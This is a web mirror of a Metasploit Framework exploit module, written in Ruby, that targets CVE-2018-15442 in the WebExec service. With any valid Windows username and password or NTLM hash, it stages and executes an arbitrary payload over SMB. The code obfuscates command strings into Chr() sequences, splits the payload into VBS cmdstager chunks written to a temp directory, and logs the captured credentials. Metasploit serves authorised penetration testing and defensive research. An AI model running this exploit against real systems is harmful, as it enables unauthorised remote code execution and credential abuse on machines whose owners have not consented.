Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/webexec.rb
19664 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
# Windows XP systems that are not part of a domain default to treating all
7
# network logons as if they were Guest. This prevents SMB relay attacks from
8
# gaining administrative access to these systems. This setting can be found
9
# under:
10
#
11
# Local Security Settings >
12
# Local Policies >
13
# Security Options >
14
# Network Access: Sharing and security model for local accounts
15
16
class MetasploitModule < Msf::Exploit::Remote
17
Rank = ManualRanking
18
19
include Msf::Exploit::CmdStager
20
include Msf::Exploit::Remote::SMB::Client::WebExec
21
include Msf::Exploit::Powershell
22
include Msf::Exploit::EXE
23
include Msf::Exploit::WbemExec
24
include Msf::Auxiliary::Report
25
26
def initialize(info = {})
27
super(
28
update_info(
29
info,
30
'Name' => 'WebExec Authenticated User Code Execution',
31
'Description' => %q{
32
This module uses a valid username and password of any level (or
33
password hash) to execute an arbitrary payload. This module is similar
34
to the "psexec" module, except allows any non-guest account by default.
35
},
36
'Author' => [
37
'Ron <[email protected]>',
38
],
39
'License' => MSF_LICENSE,
40
'Privileged' => true,
41
'DefaultOptions' => {
42
'WfsDelay' => 10,
43
'EXITFUNC' => 'thread'
44
},
45
'References' => [
46
['URL', 'https://webexec.org'],
47
[ 'CVE', '2018-15442' ],
48
],
49
'Payload' => {
50
'Space' => 3072,
51
'DisableNops' => true
52
},
53
'Platform' => 'win',
54
'Arch' => [ARCH_X86, ARCH_X64],
55
'Targets' => [
56
[ 'Automatic', {} ],
57
[ 'Native upload', {} ],
58
],
59
'DefaultTarget' => 0,
60
'DisclosureDate' => '2018-10-24',
61
'Notes' => {
62
'Reliability' => UNKNOWN_RELIABILITY,
63
'Stability' => UNKNOWN_STABILITY,
64
'SideEffects' => UNKNOWN_SIDE_EFFECTS
65
}
66
)
67
)
68
69
register_options(
70
[
71
# This has to be a full path, %ENV% variables are not expanded
72
OptString.new('TMPDIR', [ true, "The directory to stage our payload in", "c:\\Windows\\Temp\\" ])
73
]
74
)
75
76
register_advanced_options(
77
[
78
OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
79
OptInt.new('MAX_LINE_LENGTH', [true, "The length of lines when splitting up the payload", 1000]),
80
]
81
)
82
end
83
84
# This is the callback for cmdstager, which breaks the full command into
85
# chunks and sends it our way. We have to do a bit of finangling to make it
86
# work correctly
87
def execute_command(command, opts)
88
# Replace the empty string, "", with a workaround - the first 0 characters of "A"
89
command = command.gsub('""', 'mid(Chr(65), 1, 0)')
90
91
# Replace quoted strings with Chr(XX) versions, in a naive way
92
command = command.gsub(/"[^"]*"/) do |capture|
93
capture.gsub(/"/, "").chars.map do |c|
94
"Chr(#{c.ord})"
95
end.join('+')
96
end
97
98
# Prepend "cmd /c" so we can use a redirect
99
command = "cmd /c " + command
100
101
execute_single_command(command, opts)
102
end
103
104
def exploit
105
print_status("Connecting to the server...")
106
connect
107
108
print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
109
smb_login
110
111
if not simple.client.auth_user and not datastore['ALLOW_GUEST']
112
print_line(" ")
113
print_error(
114
"FAILED! The remote host has only provided us with Guest privileges. " +
115
"Please make sure that the correct username and password have been provided. " +
116
"Windows XP systems that are not part of a domain will only provide Guest privileges " +
117
"to network logins by default."
118
)
119
print_line(" ")
120
disconnect
121
return
122
end
123
124
begin
125
if datastore['SMBUser'].to_s.strip.length > 0
126
report_auth
127
end
128
129
# Avoid implementing NTLMSSP on Windows XP
130
# http://seclists.org/metasploit/2009/q1/6
131
if smb_peer_os == "Windows 5.1"
132
connect(versions: [1])
133
smb_login
134
end
135
136
wexec(true) do |opts|
137
opts[:flavor] = :vbs
138
opts[:linemax] = datastore['MAX_LINE_LENGTH']
139
opts[:temp] = datastore['TMPDIR']
140
opts[:delay] = 0.05
141
execute_cmdstager(opts)
142
end
143
handler
144
disconnect
145
end
146
end
147
148
def report_auth
149
service_data = {
150
address: ::Rex::Socket.getaddress(datastore['RHOST'], true),
151
port: datastore['RPORT'],
152
service_name: 'smb',
153
protocol: 'tcp',
154
workspace_id: myworkspace_id
155
}
156
157
credential_data = {
158
origin_type: :service,
159
module_fullname: self.fullname,
160
private_data: datastore['SMBPass'],
161
username: datastore['SMBUser'].downcase
162
}
163
164
if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP'
165
credential_data.merge!({
166
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
167
realm_value: datastore['SMBDomain']
168
})
169
end
170
171
if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
172
credential_data.merge!({ :private_type => :ntlm_hash })
173
else
174
credential_data.merge!({ :private_type => :password })
175
end
176
177
credential_data.merge!(service_data)
178
179
credential_core = create_credential(credential_data)
180
181
login_data = {
182
access_level: 'Admin',
183
core: credential_core,
184
last_attempted_at: DateTime.now,
185
status: Metasploit::Model::Login::Status::SUCCESSFUL
186
}
187
188
login_data.merge!(service_data)
189
create_credential_login(login_data)
190
end
191
end
192
193